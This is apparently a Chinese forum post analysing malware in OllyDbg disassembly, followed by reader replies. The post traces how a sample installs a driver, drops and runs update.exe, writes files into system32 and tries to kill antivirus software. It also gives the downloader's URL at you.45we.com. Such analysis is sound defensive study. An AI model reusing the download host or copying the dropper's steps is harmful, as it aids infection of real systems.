100028B9|.90 nop
100028BA|.90 nop
100028BB|.53 push ebx
100028BC|.90 nop
100028BD|.90 nop
100028BE|.74 0A je short amdk8.100028CA
100028C0|.C1E1 01 shl ecx,1
100028C3|.8BD9 mov ebx,ecx
100028C5|.C1EB 01 shr ebx,1
100028C8|.87D9 xchg ecx,ebx
100028CA|>5B pop ebx
100028CB|.90 nop
100028CC|.56 push esi
100028CD|.E8 AEF4FFFF call amdk8.10001D80
100028D2|.83C4 04 add esp,4
100028D5|.90 nop
100028D6|.68 F572993D push 3D9972F5
100028DB|.6A 01 push 1
100028DD|.E8 AE000000 call amdk8.10002990
100028E2|.68 E8030000 push 3E8
100028E7|.FFD0 call eax
100028E9|.6A 00 push 0
100028EB|.8D45 D0 lea eax,
100028EE|.6A 00 push 0
100028F0|.50 push eax
100028F1|.68 58160010 push amdk8.10001658 ;sc
100028F6|.68 50160010 push amdk8.10001650 ;open
100028FB|.6A 00 push 0
100028FD|.FF15 202E0010 call dword ptr ds:
10002903|.68 F572993D push 3D9972F5
10002908|.6A 01 push 1
1000290A|.E8 81000000 call amdk8.10002990
1000290F|.68 D0070000 push 7D0
10002914|.FFD0 call eax
10002916|.5F pop edi
10002917|.5E pop esi
10002918|.5B pop ebx
10002919|.8BE5 mov esp,ebp
1000291B|.5D pop ebp
1000291C\.C3 retn
amdk8.dll分析完了，再回到主程序，继续向下分析：
0041E8E6 90 nop
0041E8E7 90 nop
0041E8E8 03D3 add edx,ebx
0041E8EA 90 nop
0041E8EB 90 nop
0041E8EC 03D3 add edx,ebx
0041E8EE 90 nop
0041E8EF F7D3 not ebx
0041E8F1 90 nop
0041E8F2 90 nop
0041E8F3 90 nop
0041E8F4 43 inc ebx
0041E8F5 90 nop
0041E8F6 90 nop
0041E8F7 03D3 add edx,ebx
0041E8F9 90 nop
0041E8FA 90 nop
0041E8FB F7DB neg ebx
0041E8FD 90 nop
0041E8FE 90 nop
0041E8FF 8D85 70FDFFFF lea eax,dword ptr ss: C:\progra~1\ATI\amdk8.inf里面是安装信息
0041E905 68 9CCE4100 push x1un_.0041CE9C ; ASCII "*amdk8Device"
0041E90A 50 push eax
0041E90B E8 90EDFFFF call x1un_.0041D6A0 加载setupapi.dll，开始加载驱动进行一系列的破坏
这里加载了N多与驱动有关的函数，没搞过驱动，表示鸭梨有点大~~
0041E910 68 E8030000 push 3E8
0041E915 E8 26F5FFFF call x1un_.0041DE40
0041E91A 6A 00 push 0
0041E91C 68 D8CD4100 push x1un_.0041CDD8
0041E921 E8 2AF1FFFF call x1un_.0041DA50
0041E926 8BF0 mov esi,eax
0041E928 83C4 14 add esp,14
0041E92B 85F6 test esi,esi
0041E92D 75 27 jnz short x1un_.0041E956
0041E92F 8D8D 70FDFFFF lea ecx,dword ptr ss:
0041E935 51 push ecx
0041E936 E8 45F4FFFF call x1un_.0041DD80 删除amdk8.inf
0041E93B 8D95 70FCFFFF lea edx,dword ptr ss:
0041E941 52 push edx
0041E942 E8 39F4FFFF call x1un_.0041DD80 删除amdk.sys
0041E947 83C4 08 add esp,8
0041E94A B8 01000000 mov eax,1
0041E94F 5F pop edi
0041E950 5E pop esi
0041E951 5B pop ebx
0041E952 8BE5 mov esp,ebp
0041E954 5D pop ebp
0041E955 C3 retn
}
继续向下走：
0041EC93 60 pushad
0041EC94 81E9 99000000 sub ecx,99
0041EC9A 90 nop
0041EC9B 35 99000000 xor eax,99
0041ECA0 90 nop
0041ECA1 2D 99000000 sub eax,99
0041ECA6 61 popad
0041ECA7 B0 61 mov al,61
0041ECA9 B9 3F000000 mov ecx,3F
0041ECAE 8845 EB mov byte ptr ss:,al
0041ECB1 8845 ED mov byte ptr ss:,al
0041ECB4 B0 65 mov al,65
0041ECB6 8DBD E8FEFFFF lea edi,dword ptr ss:
0041ECBC 8845 EF mov byte ptr ss:,al
0041ECBF 8845 F1 mov byte ptr ss:,al
0041ECC2 33C0 xor eax,eax
0041ECC4 C645 E8 75 mov byte ptr ss:,75
0041ECC8 F3:AB rep stos dword ptr es:
0041ECCA 66:AB stos word ptr es:
0041ECCC C645 E9 70 mov byte ptr ss:,70
0041ECD0 C645 EA 64 mov byte ptr ss:,64
0041ECD4 C645 EC 74 mov byte ptr ss:,74
0041ECD8 C645 EE 2E mov byte ptr ss:,2E
0041ECDC C645 F0 78 mov byte ptr ss:,78
0041ECE0 C645 F2 00 mov byte ptr ss:,0
0041ECE4 AA stos byte ptr es:
0041ECE5 90 nop
0041ECE6 8D85 E8FEFFFF lea eax,dword ptr ss:
0041ECEC 50 push eax
0041ECED 68 FF000000 push 0FF
0041ECF2 E8 D9EEFFFF call x1un_.0041DBD0 通过加载kernel32.dll实现函数GetTempPath，获取临时目录
在临时目录C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\下生成update.exe
0041ED14 8D4D E8 lea ecx,dword ptr ss: ; updata.exe
0041ED17 8D95 E8FEFFFF lea edx,dword ptr ss: ; C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\
0041ED1D 51 push ecx
0041ED1E 52 push edx
0041ED1F FF15 48104000 call dword ptr ds:[<&KERNEL32.lstrcat>] ; kernel32.lstrcatA
0041ED25 FF15 C4104000 call dword ptr ds:[<&USER32.GetActiveWindow>]; user32.GetActiveWindow
0041ED2B 6A 00 push 0
0041ED2D 50 push eax
0041ED2E FF15 BC104000 call dword ptr ds:[<&USER32.FlashWindow>] ; user32.FlashWindow
0041ED34 90 nop
0041ED35 8D85 E8FEFFFF lea eax,dword ptr ss:
0041ED3B 50 push eax
0041ED3C E8 DFE5FFFF call x1un_.0041D320 创建update.exe并向其中写入数据，前面分析过，这里不展开
0041ED41 83C4 04 add esp,4
0041ED44 84C0 test al,al
0041ED46 0F84 89020000 je x1un_.0041EFD5
0041ED51 8D8D E8FEFFFF lea ecx,dword ptr ss:
0041ED57 68 08114000 push x1un_.00401108
0041ED5C 51 push ecx
0041ED5D 68 E8CD4100 push x1un_.0041CDE8 ; ASCII "open"
0041ED62 6A 00 push 0
0041ED64 E8 77F1FFFF call x1un_.0041DEE0 通过加载shell32.dll运行update.exe
0041ED69 68 E8030000 push 3E8
0041ED6E E8 CDF0FFFF call x1un_.0041DE40
然后再后去系统目录，在其中生成ccte1sto.dat C:\WINDOWS\system32\ccte1sto.dat
0041ED97 35 99000000 xor eax,99
0041ED9C 90 nop
0041ED9D 2D 99000000 sub eax,99
0041EDA2 61 popad
0041EDA3 B9 3F000000 mov ecx,3F
0041EDA8 33C0 xor eax,eax
0041EDAA 8DBD E8FCFFFF lea edi,dword ptr ss:
0041EDB0 8D95 E8FCFFFF lea edx,dword ptr ss:
0041EDB6 F3:AB rep stos dword ptr es:
0041EDB8 66:AB stos word ptr es:
0041EDBA 68 FF000000 push 0FF
0041EDBF 52 push edx
0041EDC0 C645 FC 6B mov byte ptr ss:,6B
0041EDC4 C645 FD 68 mov byte ptr ss:,68
0041EDC8 C645 FE 79 mov byte ptr ss:,79
0041EDCC C645 FF 00 mov byte ptr ss:,0
0041EDD0 AA stos byte ptr es:
0041EDD1 FF15 50104000 call dword ptr ds:[<&KERNEL32.GetSystemDirecto>; kernel32.GetSystemDirectoryA
0041EDD7 8D85 E8FCFFFF lea eax,dword ptr ss:
0041EDDD 68 C4CE4100 push x1un_.0041CEC4 ; ASCII "\ccte1sto.dat"
0041EDE2 50 push eax
0041EDE3 FF15 48104000 call dword ptr ds:[<&KERNEL32.lstrcat>] ; kernel32.lstrcatA
0041EE02 8D8D E8FCFFFF lea ecx,dword ptr ss:
0041EE08 51 push ecx
0041EE09 E8 62E3FFFF call x1un_.0041D170 创建ccte1sto.dat并写入数据
0041EE0E 83C4 04 add esp,4
程序结束前还会在系统目录下生成一个kav.exe，不过最后又通过movefile删除掉了，这里不做分析
7C817074 FF55 08 call dword ptr ss:
7C817077 50 push eax
7C817078 E8 7B50FFFF call kernel32.ExitThread 结束线程，程序结束
这样，主程序基本完成了，在程序干掉杀软的地方肯定会有遗漏，比如不该跳的因为没有杀软而跳走了，望大家能够指出，促进小子进步！！
另外程序还生成了一个update.exe文件，我们加载之，看看其做了哪些活动，肯定没做什么好事哈：
这里就简略的分析下吧，做了3个小时了，太累了~~，呼呼~~~
OD载入update.exe程序
载入后查找字符串发现有网址出现，可以猜测，此为一个下载者程序，试图从网址http://you.45we.com:323/tj/count.asp，下载文件，在这里我并没仔细分析。
等有时间了，在仔细分析下~~~ 呼呼~~~
小子我偷懒了哈
之前迷上了DOTA，血雨腥风啊，打算写个DOTA改键，至今没有成果，无疾而终了，哎，继续加油了
总结一下:世上没有免费的午餐，只有通过自己的努力，才能实现自己的理想，寝室的兄弟们都选择了考研了，我没有打算，准备去找工作，决定到底正确与否，我都会
坚持下去，既然选择了远方，便只顾风雨兼程！！
perfect~
如果能用代码框把代码框起来会更美观~ 详细是详细但是没有时间看那么多了 我是菜鸟都看不懂！一踏糊涂！ 太强了。。三个小时就可以搞定这么多啊。
这里是全部代码啊？
膜拜ING~~~~~~~~~~~~ 真不少啊！ 我看还得半天！ 学习了，~~ 逆向功力很强.. 你牛。。我都看不懂。。表示鸭梨很大